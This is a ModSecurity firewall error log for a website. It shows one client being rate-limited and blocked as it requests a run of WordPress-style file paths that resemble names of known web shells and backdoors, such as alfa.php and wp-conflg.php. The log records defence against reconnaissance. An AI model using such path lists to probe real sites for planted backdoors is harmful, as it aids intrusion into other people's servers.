[Fri Feb 27 21:40:48.750589 2026] [:error] [pid 56075:tid 56077] [client 20.104.124.39:32345] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaGe4MKBhrfI6KNv9Rj7igAAAAA"]
[Fri Feb 27 21:40:49.169479 2026] [:error] [pid 49306:tid 49315] [client 20.104.124.39:29968] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaGe4fnSUDZue59Px9s6FQAAAUc"]
[Fri Feb 27 21:40:49.692574 2026] [:error] [pid 56075:tid 56081] [client 20.104.124.39:32403] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaGe4cKBhrfI6KNv9Rj7oQAAAAQ"]
[Fri Feb 27 21:40:50.217624 2026] [:error] [pid 62998:tid 63005] [client 20.104.124.39:32266] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aaGe4lQeueXZDUmoLolkgAAAAQM"]
[Fri Feb 27 21:40:50.902915 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32350] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaGe4sKBhrfI6KNv9Rj7sgAAABQ"]
[Fri Feb 27 21:40:51.518281 2026] [:error] [pid 49306:tid 49314] [client 20.104.124.39:32381] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaGe4_nSUDZue59Px9s6IAAAAUY"]
[Fri Feb 27 21:40:52.045999 2026] [:error] [pid 52073:tid 52096] [client 20.104.124.39:32474] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaGe5Ia650YPyxXVeRaEhQAAAZQ"]
[Fri Feb 27 21:40:52.962775 2026] [:error] [pid 52073:tid 52100] [client 20.104.124.39:32370] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aaGe5Ia650YPyxXVeRaEkgAAAZg"]
[Fri Feb 27 21:40:53.646001 2026] [:error] [pid 49306:tid 49328] [client 20.104.124.39:32435] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaGe5fnSUDZue59Px9s6JwAAAVQ"]
[Fri Feb 27 21:40:54.123572 2026] [:error] [pid 52073:tid 52085] [client 20.104.124.39:32306] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaGe5oa650YPyxXVeRaEogAAAYk"]
[Fri Feb 27 21:40:54.723690 2026] [:error] [pid 56075:tid 56095] [client 20.104.124.39:29977] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaGe5sKBhrfI6KNv9Rj70gAAABE"]
[Fri Feb 27 21:40:55.359171 2026] [:error] [pid 52073:tid 52099] [client 20.104.124.39:29955] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaGe54a650YPyxXVeRaErAAAAZc"]
[Fri Feb 27 21:40:56.192322 2026] [:error] [pid 52073:tid 52097] [client 20.104.124.39:32488] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaGe6Ia650YPyxXVeRaEtwAAAZU"]
[Fri Feb 27 21:40:56.640773 2026] [:error] [pid 56075:tid 56096] [client 20.104.124.39:32428] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaGe6MKBhrfI6KNv9Rj72wAAABI"]
[Fri Feb 27 21:40:57.275073 2026] [:error] [pid 56075:tid 56078] [client 20.104.124.39:29994] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaGe6cKBhrfI6KNv9Rj74wAAAAE"]
[Fri Feb 27 21:40:57.987504 2026] [:error] [pid 56075:tid 56093] [client 20.104.124.39:32342] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aaGe6cKBhrfI6KNv9Rj77wAAAA8"]
[Fri Feb 27 21:40:58.440688 2026] [:error] [pid 54101:tid 54115] [client 20.104.124.39:29956] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGe6lY5qgRktcYTGFtQKwAAAcc"]
[Fri Feb 27 21:40:58.982040 2026] [:error] [pid 62998:tid 63012] [client 20.104.124.39:32287] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGe6lQeueXZDUmoLolkowAAAQo"]
[Fri Feb 27 21:40:59.764426 2026] [:error] [pid 49306:tid 49330] [client 20.104.124.39:32503] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGe6_nSUDZue59Px9s6QgAAAVY"]
[Fri Feb 27 21:41:00.445913 2026] [:error] [pid 52073:tid 52084] [client 20.104.124.39:29972] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aaGe7Ia650YPyxXVeRaE0wAAAYg"]
[Fri Feb 27 21:41:01.446680 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32339] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaGe7cKBhrfI6KNv9Rj8LgAAABQ"]
[Fri Feb 27 21:41:01.904543 2026] [:error] [pid 49306:tid 49314] [client 20.104.124.39:29986] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaGe7fnSUDZue59Px9s6RAAAAUY"]
[Fri Feb 27 21:41:02.530117 2026] [:error] [pid 62998:tid 63025] [client 20.104.124.39:32497] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaGe7lQeueXZDUmoLolkrwAAARc"]
[Fri Feb 27 21:41:03.074016 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:29952] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aaGe78KBhrfI6KNv9Rj8RQAAAAc"]
[Fri Feb 27 21:41:03.532454 2026] [:error] [pid 52073:tid 52091] [client 20.104.124.39:32344] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaGe74a650YPyxXVeRaE5QAAAY8"]
[Fri Feb 27 21:41:03.979802 2026] [:error] [pid 56075:tid 56102] [client 20.104.124.39:32380] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaGe78KBhrfI6KNv9Rj8VQAAABg"]
[Fri Feb 27 21:41:04.442312 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:30002] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaGe8MKBhrfI6KNv9Rj8XQAAABQ"]
[Fri Feb 27 21:41:04.986295 2026] [:error] [pid 56075:tid 56083] [client 20.104.124.39:32378] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aaGe8MKBhrfI6KNv9Rj8aQAAAAY"]
[Fri Feb 27 21:41:05.511606 2026] [:error] [pid 52073:tid 52088] [client 20.104.124.39:32366] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaGe8Ya650YPyxXVeRaE7gAAAYw"]
[Fri Feb 27 21:41:06.009677 2026] [:error] [pid 49306:tid 49327] [client 20.104.124.39:30001] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaGe8vnSUDZue59Px9s6TwAAAVM"]
[Fri Feb 27 21:41:06.546032 2026] [:error] [pid 62998:tid 63008] [client 20.104.124.39:29985] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaGe8lQeueXZDUmoLolkvQAAAQY"]
[Fri Feb 27 21:41:07.023336 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:29963] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aaGe88KBhrfI6KNv9Rj8gwAAABA"]
[Fri Feb 27 21:41:07.527814 2026] [:error] [pid 52073:tid 52093] [client 20.104.124.39:32320] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaGe84a650YPyxXVeRaFAAAAAZE"]
[Fri Feb 27 21:41:08.057540 2026] [:error] [pid 49306:tid 49328] [client 20.104.124.39:29964] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaGe9PnSUDZue59Px9s6UQAAAVQ"]
[Fri Feb 27 21:41:08.555463 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:32347] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaGe9MKBhrfI6KNv9Rj8jgAAABA"]
[Fri Feb 27 21:41:09.392528 2026] [:error] [pid 54231:tid 54257] [client 20.104.124.39:32267] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aaGe9eTvb5AeyJCdY7AobwAAAFc"]
[Fri Feb 27 21:41:09.955055 2026] [:error] [pid 54231:tid 54243] [client 20.104.124.39:32368] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aaGe9eTvb5AeyJCdY7AocgAAAEk"]
[Fri Feb 27 21:41:10.530509 2026] [:error] [pid 52073:tid 52095] [client 20.104.124.39:32426] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aaGe9oa650YPyxXVeRaFIQAAAZM"]
[Fri Feb 27 21:41:11.029137 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:32372] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aaGe94a650YPyxXVeRaFKQAAAYY"]
[Fri Feb 27 21:41:11.682193 2026] [:error] [pid 52073:tid 52078] [client 20.104.124.39:32290] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aaGe94a650YPyxXVeRaFLgAAAYI"]
[Fri Feb 27 21:41:12.322680 2026] [:error] [pid 52073:tid 52079] [client 20.104.124.39:32382] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aaGe-Ia650YPyxXVeRaFOAAAAYM"]
[Fri Feb 27 21:41:17.282512 2026] [:error] [pid 56075:tid 56084] [client 20.104.124.39:32402] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aaGe_cKBhrfI6KNv9Rj82QAAAAc"]
[Fri Feb 27 21:41:18.155620 2026] [:error] [pid 52073:tid 52082] [client 20.104.124.39:32464] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aaGe_oa650YPyxXVeRaFVQAAAYY"]
[Fri Feb 27 21:41:19.105673 2026] [:error] [pid 54103:tid 54175] [client 20.104.124.39:32472] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aaGe_-vG4MPCmE0B2sC3jgAAAMQ"]
[Fri Feb 27 21:41:20.202980 2026] [:error] [pid 54231:tid 54238] [client 20.104.124.39:32476] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aaGfAOTvb5AeyJCdY7AonQAAAEQ"]
[Fri Feb 27 21:41:20.407242 2026] [:error] [pid 62998:tid 63024] [client 20.104.124.39:29978] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaGfAFQeueXZDUmoLolk2AAAARY"]
[Fri Feb 27 21:41:21.154591 2026] [:error] [pid 49306:tid 49308] [client 20.104.124.39:32355] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaGfAfnSUDZue59Px9s6dgAAAUA"]
[Fri Feb 27 21:41:22.419027 2026] [:error] [pid 56075:tid 56094] [client 20.104.124.39:32308] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaGfAsKBhrfI6KNv9Rj87wAAABA"]
[Fri Feb 27 21:41:23.713911 2026] [:error] [pid 49306:tid 49323] [client 20.104.124.39:29975] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aaGfA_nSUDZue59Px9s6hwAAAU8"]
[Fri Feb 27 21:41:24.593711 2026] [:error] [pid 62998:tid 63023] [client 20.104.124.39:30008] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGfBFQeueXZDUmoLolk6gAAARU"]
[Fri Feb 27 21:41:25.379249 2026] [:error] [pid 49306:tid 49325] [client 20.104.124.39:32346] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGfBfnSUDZue59Px9s6lAAAAVE"]
[Fri Feb 27 21:41:26.268257 2026] [:error] [pid 49306:tid 49308] [client 20.104.124.39:29969] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGfBvnSUDZue59Px9s6mAAAAUA"]
[Fri Feb 27 21:41:27.840337 2026] [:error] [pid 56075:tid 56098] [client 20.104.124.39:32367] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaGfB8KBhrfI6KNv9Rj9CgAAABQ"]
[Fri Feb 27 21:41:28.416171 2026] [:error] [pid 49306:tid 49321] [client 20.104.124.39:29967] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaGfCPnSUDZue59Px9s6pgAAAU0"]
[Fri Feb 27 21:41:29.391020 2026] [:error] [pid 62998:tid 63021] [client 20.104.124.39:32358] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaGfCVQeueXZDUmoLolk_QAAARM"]
[Fri Feb 27 21:41:30.889884 2026] [:error] [pid 62998:tid 63008] [client 20.104.124.39:30006] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mail.php"] [unique_id "aaGfClQeueXZDUmoLollBgAAAQY"]
